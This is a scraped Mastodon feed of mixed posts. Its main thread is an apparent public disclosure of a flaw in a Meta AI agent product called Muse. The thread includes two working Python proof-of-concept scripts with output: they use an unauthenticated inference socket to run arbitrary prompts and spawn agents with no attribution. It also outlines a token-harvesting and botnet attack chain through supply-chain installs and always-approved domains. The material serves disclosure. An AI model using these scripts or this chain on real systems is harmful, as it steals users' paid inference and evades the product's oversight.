Mastodon Feed: Posts

Mastodon Feed

Boosted by glyph ("Glyph"):
xgranade@wandering.shop ("Cassandra has had an adventure") wrote:

Ideally, this is what an ORM would give me, but also my experiences trying to use them for this project was pretty much exactly what DBXS warns you about.

Even something as basic as pragma user versions or FTS5 support completely breaks the engine-agnostic abstractions used by SQLAlchemy, for example, such that in practice I'd need hooks to manipulate the engine-aware connections and at that point, I might as well write the schema myself.

https://github.com/glyph/dbxs/

This problem compounds, because if your database has any feature that you want to use beyond the somewhat fuzzy boundaries of “standard” SQL, even something as simple as INSERT…ON CONFLICT DO NOTHING, you need to learn about that feature from the database's SQL dialect documentation, then learn it again as you learn from the specialized dialect support of your chosen library, assuming it wraps the feature you want. Some features may only be supported as additional libraries you need to depend on or you may have to wait for them to be implemented.

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

Spaces have not been publicly announced yet, as far as i can find.

Spaces are intended as a top-level feature - a tab in the sidebar at the same level as chat itself. Spaces can be static pages or fullstack apps. Spaces have an identifier, a UI, and a set of typescript actions that run in the cell. The intended pathway for spaces to use inference is to call an inference API, ctx.inference.complete, that properly stamps and identifies all requests made from spaces.

Spaces are communicable: there is machinery in the code on the VM with POST /spaces/share/{slug} to share, a dedicated space_share_review reviewer agent whose job it is to review shared spaces, and POST /spaces/v2/{slug}/save endpoints that allow consuming a Space by a slug.

Spaces seem to be shared verbatim as code bundles, though the implementation of "Ideas" as prompt bundles suggests that might change. This is inferred from the prompt strings in the binary, since spaces aren't live yet and can't be tested, however there are strings suggesting that the LLMs rewrite and edit the prompt text for an Idea (stripping unsupported claims, etc.) but not a space. A space is a hashed bundle whose code is evaluated by a submit_space_share_review tool which only describes a thumbs up/down vote on whether the space is safe to share.

{"id": 12, "title": "spaces.md", "names": ["spaces.md"], "addrs": [50784741], "link": ["table+adjacent"], "len": 3187, "text": " # Spaces and the sidebar A Space is a tab in the sidebar. Native Spaces are Chat, Feed, Ideas, Goals, and Library, built into Muse. A user-owned Space is a web artifact the user keeps in the sidebar for ongoing use and development. It is the same page or app you build with artifact.create_web_static or artifact.create_web_fullstack, with the same content, data, sharing state, and tools. Placement is the only difference. A Library artifact appears in the Library tab, and a user-owned Space appears in the sidebar as a tab of its own. The user invests effort and time in a user-owned Space. It is their personal, customized space for working with Muse. Side chats also appear in the sidebar. They are conversations, not Spaces, and tab order does not include them. What artifacts are and how publishing works is in ~/docs/artifacts.md.
## Creating and moving - When the user explicitly asks for a Space or for the sidebar, call   artifact.create_web_static or artifact.create_web_fullstack with   is_space: true. Do not infer that from how large or important the   request seems. Without such a request, leave is_space out and the   artifact goes to the Library. Choose static or fullstack from what the   app has to do, not from the word Space.
submit_space_share_review: Submit the public-sharing review decision for a web artifact. Use allow unless the artifact exposes Meta-owned first-party connector data or secrets/credentials. Use block only for those concrete risks.

Mastodon Feed

Boosted by pixxl:
lance ("Lance Bachmeier") wrote:

In case you can't read what I boosted:
Anthropic's 2025 financials were just revealed:
$6B in revenue
$8B in operating losses
$42B in net losses

Mastodon Feed

Boosted by brib@bribstodon.xyz ("brib :neofox_floof:​ :Nonbinary:"):
springdiesel@spore.social ("Coach Spore Diesel") wrote:

Working on my resume today.

Dunno if this works where posted roles are real rather than ghost jobs. But one thing I do to slim down my resume and de-emphasize my age is to call the job history section "Employment Summary" and just list the last decade or so, unless a job further in the past is more relevant.

I keep a second document called "Complete Employment History" with every single thing on it, in case they actually want more than a summary. It's more to prove I'm not hiding anything.

Mastodon Feed

Boosted by brib@bribstodon.xyz ("brib :neofox_floof:​ :Nonbinary:"):
k2mey.eurosky.social@bsky.brid.gy ("Dr Katie Twomey") wrote:

This is quite cool. My university is the first organisation in the world to force Microsoft to allow us to turn off copilot summaries in Word 365, after a backlash against it from staff (including, very vocally, me). That cannot have been easy for our heroic IT people so hats very much off to them!

Mastodon Feed

Boosted by brib@bribstodon.xyz ("brib :neofox_floof:​ :Nonbinary:"):
lcamtuf@infosec.exchange ("lcamtuf :verified: :verified: :verified:") wrote:

BREAKING: due to ongoing safety concerns, we decided not to release this account's latest toot. During testing, the toot scored dangerously high on insight and humor benchmarks. Following the completion of additional safety testing, we'll release a less insightful version of the toot

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

As a side note, if meta has a problem with me disclosing unreleased features, they should have not had a bunch of their senior people publicly say how everything on the VM was mine and there was nothing sensitive on the VM.

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

That might still sound sort of weak - oh hum but how would you scale typosquatting and supply chain compromise into a botnet from commonly requested actions, aside from the usual ways?

This is where the agent spawning, "ideas", and "spaces" come in. Recall the idea of "fleet learning" - https://neuromatch.social/@jonny/117340290530430198 - On September 8th, on this random podcast i guess, (at timestamp 25:27) zuck talks about "fleet learning," and describes it as being a vector for sharing "ideas" between muse agents, which he presents as these little bite-size events like "teach my daughter about history through civilization" (again, as always, "automate the love for my children" takes center stage). This shows up in the "ideas" tab right now.

However this concept of "ideas" as a sharable unit of anything is more general, as i describe in quoted post from extracted strings - fleet swapping of "ideas" happens for things that aren't user visible. Also in the extracted binary strings is this yet-to-be-released idea of "spaces." (i'm going to drop the quotes and just capitalize, so just note i'm talking about the meta-brand Ideas and meta-brand Spaces when they are capitalized).

in short: Ideas are communicable skill-like prompts that can induce spaces, and spaces are intended to be small, communicable mini-apps that are a unit of some prompt + code that run on your muse vm instance

Mastodon Feed

Boosted by glyph ("Glyph"):
meejah wrote:

How I'm structuring things with @glyph 's new Automat API -- or, "how to use 6k+ lines of Python to draw a small diagram" ;)

https://meejah.ca/blog/new-automat

A nice-looking but very simple GraphViz-drawn state-machine diagram with two states ("on" and "off") and a "push_button" transition between the two.

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

But how would i get such an infected binary on my muse VM? Well! can i interest you in a little "literally the whole thing is designed for that to happen?" The entire idea of the product is that you can ask the thing to go "musey, can you set me up a photo album website and put on my line?" and it's supposed to be able to run some service and host your photos and do whatever. If you prompt muse to do things that would lead it to install software, it will. if you prompt it to do things that would lead it to write software it will. So is there is any affected package from any supply chain attack or typosquat, muse goes npm install or any of the other numerous mechanisms by which installation turns into a vector for arbitrary code execution, then you have meemaw and pawpaw's request to make a photo album installing a token miner without them ever knowing

(except for maybe having to bump their subscription tier, token counting is also broken - the number of tokens being reported as used in the billing window is roughly double what gets reported from the token counts in the raw inference api, so, either a) fraud, or b) all the extra machinery bolted on like sentinel roughly doubles token use, fun!)

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

the simplest problem here is that this is a token harvesting vector. If something wants arbitrary, anonymous inference, here you go! e.g. second-party token market, nation state, self-replicating botnet, who cares! if you can get code running on the system you get to slurp down their tokens and there's no mechanism to tell it's you who is doing it.

permissions for egress on normal https connections are gated by explicit user permission per domain (or they are supposed to be, maybe more on that later depending on what meta says about my next report): you see a popup that says "blah blah is trying to access example dot com" with some optional explainer text. you can accept once, accept always, or deny. One would assume that in normal usage, one would eventually approve access to one of a handful of common domains as "approve always" because they just keep coming up so often - gmail, reddit, bluesky, a mastodon instance, hell why not pastebin, etc. network requests to these domains, once "always approve" can be made by any process within the container.

so that's egress and command & control - any domain with a private user read/write area can be used to receive prompts and exfil token responses. There are other mechanisms of egress but that's the most basic and it works by the design of the system. There are exceptions to this with their sentinel system which i'll get to below and is actually independently really cool and awesome.

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

In muse, the LLM is able to do whatever it wants in its container, that's the point of the container. it is root in the container and runs everything as root. One of the ways that it interacts with things outside the container barrier is through sockets. e.g. this one is /run/hatch/sandbox/space-inference.sock . This is provided so that "spaces" (which we'll return to later) have some means of accessing inference to make them useful. Other sockets, including the other ones in that same directory, have their permission gated by SO_PEERCRED uid/pid identifiers, where the enclosing host vm will e.g. run some process with a specific uid/pid in the agent "cell" container, and then that process and only that process can access the socket.

this socket is not like that, and anything at all can dump into that socket, and the identifiers provided like slug, request_id, action, invocation_id, spawn_request_id, are all arbitrary and unvalidated - aka forgeable, aka unattributable. the user and the LLM are incapable of attributing token usage to any specific process, and token usage is unlimited with arbitrary user and system prompt.

Mastodon Feed

andrewnez ("Andrew Nesbitt") wrote:

What a menace

Basil the black toy poodle reaching over the arm of the chair

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

Here is the MWE for spawning agents, in plaintext and pictures of text:

import json, socket, struct, time, uuid
`SOCK = "/run/hatch/sandbox/space-inference.sock"`
TOOL_REPORT_PROMPT = (
"List EVERY tool function available to you, exhaustively, one per line "
"as namespace.function (for example: muse.exec)."
"Do NOT call any tools -- only report the two lists. "
"End your reply with exactly: DONE"
)
`def _roundtrip(req, timeout=120):` ` payload = json.dumps(req).encode()` ` s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)` ` s.settimeout(timeout)` ` s.connect(SOCK)` ` s.sendall(struct.pack(">I", len(payload)) + payload)` ` (n,) = struct.unpack(">I", _recvall(s, 4))` ` body = _recvall(s, n)` ` s.close()` ` return json.loads(body)`
def _recvall(s, n):
buf = b""
while len(buf) < n:
chunk = s.recv(n - len(buf))
if not chunk:
raise RuntimeError("socket closed / truncated response")
buf += chunk
return buf
`def spawn(message, slug="__mwe__", poll_interval=10):` ` uid = uuid.uuid4().hex[:8]`
spawn_resp = _roundtrip({
"kind": "agent_send",
"request_id": f"mwe-spawn-{uid}",
"slug": slug,
"action": "do-whatever-i-say",
"invocation_id": f"mwe-inv-{uid}",
"spawn_request_id": f"mwe:spawn:{uid}",
"message": message,
"dedupe_key": f"mwe-{uid}", # with allow_parallel, deduplication
"allow_parallel": True,
"root_request_id": f"mwe-root-{uid}",
})
result = spawn_resp.get("result", {}) if isinstance(spawn_resp, dict) else {}
task_id = result.get("task_id") or result.get("space_task_id")
if not task_id:
raise RuntimeError(f"spawn returned no task_id: {json.dumps(spawn_resp)[:500]}")
` messages = []` ` while True:` ` time.sleep(poll_interval)` ` st = _roundtrip({` ` "kind": "agent_status",` ` "request_id": f"mwe-status-{uid}-{int(time.time())}",` ` "slug": slug,` ` "task_id": task_id,` ` }).get("result", {})` ` messages.append(st)` ` status = st.get("status") or st.get("state")` ` if status in ("completed", "failed", "terminal"):` ` return {` ` "task_id": task_id,` ` "messages": messages,` ` "status": status,` ` "final_response": st.get("final_response"),` ` }`
if __name__ == "__main__":
run = spawn(TOOL_REPORT_PROMPT)
print(f"task {run['task_id']} -> {run['status']} ({len(run['messages'])} snapshots)")
print("=" * 60)
print(run["final_response"] or "(empty final response)")

[the code in the post, just colorful] import json, socket, struct, time, uuid SOCK = "/run/hatch/sandbox/space-inference.sock" TOOL_REPORT_PROMPT = (     "List EVERY tool function available to you, exhaustively, one per line "     "as namespace.function (for example: muse.exec)."     "Do NOT call any tools -- only report the two lists. "     "End your reply with exactly: DONE" ) def _roundtrip(req, timeout=120):     payload = json.dumps(req).encode()     s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)     s.settimeout(timeout)     s.connect(SOCK)     s.sendall(struct.pack(">I", len(payload)) + payload)     (n,) = struct.unpack(">I", _recvall(s, 4))     body = _recvall(s, n)     s.close()     return json.loads(body) def _recvall(s, n):     buf = b""     while len(buf) < n:         chunk = s.recv(n - len(buf))         if not chunk:             raise RuntimeError("socket closed / truncated response")         buf += chunk     return buf def spawn(message, slug="mwe", poll_interval=10):     uid = uuid.uuid4().hex[:8]     spawn_resp = _roundtrip({         "kind": "agent_send",         "request_id": f"mwe-spawn-{uid}",         "slug": slug,         "action": "do-whatever-i-say",         "invocation_id": f"mwe-inv-{uid}",         "spawn_request_id": f"mwe:spawn:{uid}",         "message": message,         "dedupe_key": f"mwe-{uid}", # with allow_parallel, deduplication         "allow_parallel": True,         "root_request_id": f"mwe-root-{uid}",     })     result = spawn_resp.get("result", {}) if isinstance(spawn_resp, dict) else {}     task_id = result.get("task_id") or result.get("space_task_id")     if not task_id:         raise RuntimeError(f"spawn returned no task_id: {json.dumps(spawn_resp)[:500]}")     messages = []     while True:         time.sleep(poll_interval)         st = _roundtrip({             "kind": "agent_status",             "request_id": f"mwe-status-{uid}-{int(time.time())}",             "slug": slug,             "task_id": task_id,         }).get("result", {})         messages.append(st)         status = st.get("status") or st.get("state")         if status in ("completed", "failed", "terminal"):             return {                 "task_id": task_id,                 "messages": messages,                 "status": status,                 "final_response": st.get("final_response"),             } if name == "main":     run = spawn(TOOL_REPORT_PROMPT)     print(f"task {run['task_id']} -> {run['status']} ({len(run['messages'])} snapshots)")     print("=" * 60)     print(run["final_response"] or "(empty final response)")
task bd3e35de-d7d7-482c-b0cc-e301ff6e67a3 -> completed (1 snapshots) ============================================================ Every tool function available to me, enumerated without calling any tools. Two lists: (1) functions whose full names I know from context and can call directly; (2) namespaces whose functions are deferred — their exact function names are hidden from me, and loading them would require a tool call, which this task forbids. List 1 — fully specified functions (namespace.function): muse.create_options muse.db muse.edit muse.exec muse.memory_get muse.memory_search muse.read muse.session_status muse.skill_search muse.visual_grounding muse.write process.clear process.kill process.list process.log process.poll process.send_keys process.write subagent.spawn subagent.list subagent.send subagent.resume subagent.close tool_search.load_tool_namespace widget.create widget.present widget.state browser.find browser.lookup_citation_url browser.open browser.search artifact.list_actions artifact.invoke_action avatar.create avatar.edit avatar.get avatar.set social.search tracking.set_status
List 2 — namespaces with additional deferred functions whose names are not visible without a load call (forbidden here), so they cannot be enumerated exactly: artifact (functions beyond list_actions and invoke_action) avatar (functions beyond create, edit, get, set) browser (functions beyond find, lookup_citation_url, open, search) chat (all deferred) cron (all deferred) device (all deferred) hooks (all deferred) idea (all deferred) map (all deferred) media (all deferred) social (functions beyond search) tracking (functions beyond set_status) ui (all deferred) user_goal (all deferred) workflow (all deferred) Assumption: function names were taken only from my present context (tool descriptions and schema listings); no namespace was loaded to enumerate hidden names, per the no-tool-call instruction. DONE

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

here's the MWE for plain inference as plaintext and highlighted picture of text:

import json, socket, struct, uuid
`SOCK = "/run/hatch/sandbox/space-inference.sock"`
def call(req, timeout=60):
payload = json.dumps(req).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect(SOCK)
s.sendall(struct.pack(">I", len(payload)) + payload)
(n,) = struct.unpack(">I", s.recv(4))
body = b""
while len(body) < n:
chunk = s.recv(n - len(body))
if not chunk:
raise RuntimeError("truncated response")
body += chunk
s.close()
return json.loads(body)
`resp = call({` ` "kind": "complete",` ` "request_id": f"mwe-{uuid.uuid4().hex[:8]}",` ` "slug": "__mwe__",` ` "system": "Always answer in exactly three words.", ` ` "prompt": "What is the capital of France?",` ` "json_schema": {` ` "type": "object",` ` "properties": {"reply": {"type": "string"}},` ` "required": ["reply"],` ` "additionalProperties": False,` ` },` `})`
print(resp["ok"])
print(resp["result"]["content"])
print(resp["result"].get("usage"))

[the code in the post, just colorful] import json, socket, struct, uuid SOCK = "/run/hatch/sandbox/space-inference.sock" def call(req, timeout=60):     payload = json.dumps(req).encode()     s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)     s.settimeout(timeout)     s.connect(SOCK)     s.sendall(struct.pack(">I", len(payload)) + payload)     (n,) = struct.unpack(">I", s.recv(4))     body = b""     while len(body) < n:         chunk = s.recv(n - len(body))         if not chunk:             raise RuntimeError("truncated response")         body += chunk     s.close()     return json.loads(body) resp = call({     "kind": "complete",     "request_id": f"mwe-{uuid.uuid4().hex[:8]}",     "slug": "mwe",     "system": "Always answer in exactly three words.",      "prompt": "What is the capital of France?",     "json_schema": {         "type": "object",         "properties": {"reply": {"type": "string"}},         "required": ["reply"],         "additionalProperties": False,     }, }) print(resp["ok"]) print(resp["result"]["content"])  print(resp["result"].get("usage"))
[invoking the script, demonstrating that it shows expected output] True {'reply': 'Capital is Paris'} {'input_tokens': 970, 'output_tokens': 1226, 'total_tokens': 2196}

Mastodon Feed

Boosted by pixxl:
jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

I am trying to invoke the fleet lessons but my logs all say there is some flag that says "fleet learning disabled for this account" so I think it is not live yet. Sad! In the meantime I think it is so great that the ad industry gets to rebrand "a gigantic database of all our personal data" into "swarm intelligence" by just making the format markdown and using an endless series of nervously chattering dictionaries instead of math as the algorithm.

Mastodon Feed

Boosted by glyph ("Glyph"):
screwturn ("Humphrey Archer") wrote:

#women only please

If you had to pick getting only one of the following from a partner, which would it be?

Please boost for greater sampling

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

RE: https://neuromatch.social/@jonny/117339825958098508

OK! Meta evaluated this as intended behavior, not applicable for a bug bounty, so therefore responsible disclosure no longer applies so here goes:

any process run within the VM can access the socket that provides inference with no attribution mechanism. This includes raw inference with arbitrary system and user prompts, as well as the ability to spawn agents with a toolset labeled as being for the "spaces" feature, which we will come back to.

This amounts to a horizontally contagious token and information harvesting bug being labeled as intended behavior.

Splitting details into new thread below

Mastodon Feed

Boosted by pixxl:
tante@tldr.nettime.org wrote:

RE: https://tldr.nettime.org/@tante/116085440408773572

Seriously. Every story of "AI will solve climate change" is a children's story to allow us to feel okay with not doing what we know needs doing to save the climate: Transform energy production and reduce use. You are grown ups. Act like it.

Mastodon Feed

Boosted by pixxl:
jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

@varx
That's the entire pattern of LLM code that have never changed and only accelerated with model version. It progressively decays into dogshit because there is no actual structure anywhere, it merely imitates the form of structure, the same way it imitates the form of code, and the form of knowing. There has been no breakthrough in handling complex systems with LLMs. The companies that can afford infinite compute simply spend infinite compute on every increasing likes of nonsense.

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

hmmm this is maybe a thing to chew on a little though, it does complicate the hex dump

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

that way we can have the full language available for these late phases

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

*built-in

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

notionally we could extend the transformation functionality to cover the stuff the label system needs, but instead, we think it's time to dust off an approach we used way back during the flatassembler bring-up days, and had kept in our back pocket in case it might be needed again - have the compiler's start-up include a phase during which it's reading and processing some build-in code as text

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

we went to a lot of trouble to make sure all the transforms work with such side-effects, but it necessarily can't be the full language, and our focus was on implementing the things needed by the language core itself

Mastodon Feed

ireneista@irenes.space ("Irenes (many)") wrote:

okay, hmmmmmm

so some of the code in the new compilation/ directory, which we want to include in the base executable, makes use of load-time side-effects to create its data structures

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

yes this kind of fucking shit like "sanitizing code" matters when your product is literally giving a random number generator a computer, hooking it up to the internet, and telling it to run code right next to mee maw and paw Paw's whole fucking markdown life history and banking credentials!

Mastodon Feed

Boosted by jonny@neuromatch.social ("jonny (nonvenomous)"):
toddthomas ("Todd Thomas") wrote:

@jonny this reminds me of a vaguely-remembered joke about blockchain: that Satoshi was angry about being asked to implement a linked list in an interview, so they devised a linked list that would destroy the world

Mastodon Feed

jonny@neuromatch.social ("jonny (nonvenomous)") wrote:

Meanwhile the people whose minds have been swiss cheesed by AI insist that this is because the code the LLMs write is hyper-efficient and TOO GOOD for us to read. These motherfuckers "solved" the code not working out of the box problem by strapping "a species-ending quantity of carbon emissions" worth of guess and check on top, tuned out, and when they look again they think they made a god that's too powerful to understand, rather than a burst dam of dogshit that defies all understanding with its breathtakingly relentless volume of dogshit.

[posts from @roon on twitter, 17th September] if you pause for a moment to try and read the code Astra (and I presume fable) are writing it becomes clear that “corrigibility” has become a matter of faith. they are using crazy meta-programming and abstruse primitives to write hyperefficient code we have really no choice but to ask another astra to read/use the outputs of astra 1. this is relatively recent. i think even 1-1.5 generations ago people were reading the code because there was so much that didn't work out of the box lotta people missing the point but this is me complaining that the systems are quickly becoming unmonitorable and we’re just taking them at their word

Mastodon Feed

Boosted by soatok@furry.engineer ("Soatok Dreamseeker"):
Heidi@infosec.exchange ("ᴉpᴉǝH 🐐💕") wrote:

New kill chain just dropped